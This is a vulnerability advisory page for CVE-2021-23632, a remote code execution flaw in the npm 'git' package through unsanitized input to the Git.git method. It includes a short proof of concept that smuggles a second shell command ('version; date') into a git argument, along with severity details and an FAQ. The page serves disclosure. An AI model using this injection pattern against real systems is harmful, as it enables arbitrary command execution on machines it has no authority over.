Vulnerability Description
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
CVSS Score
MEDIUM
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| Git Project | Git | <= 0.1.5 |
Related Weaknesses (CWE)
References
- https://snyk.io/vuln/SNYK-JS-GIT-1568518ExploitThird Party Advisory
- https://snyk.io/vuln/SNYK-JS-GIT-1568518ExploitThird Party Advisory
FAQ
What is CVE-2021-23632?
CVE-2021-23632 is a vulnerability with a CVSS score of 6.6 (MEDIUM). All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps ...
How severe is CVE-2021-23632?
CVE-2021-23632 has been rated MEDIUM with a CVSS base score of 6.6/10. Review the CVSS metrics above for detailed severity breakdown.
Is there a patch for CVE-2021-23632?
Check the references section above for vendor advisories and patch information. Affected products include: Git Project Git.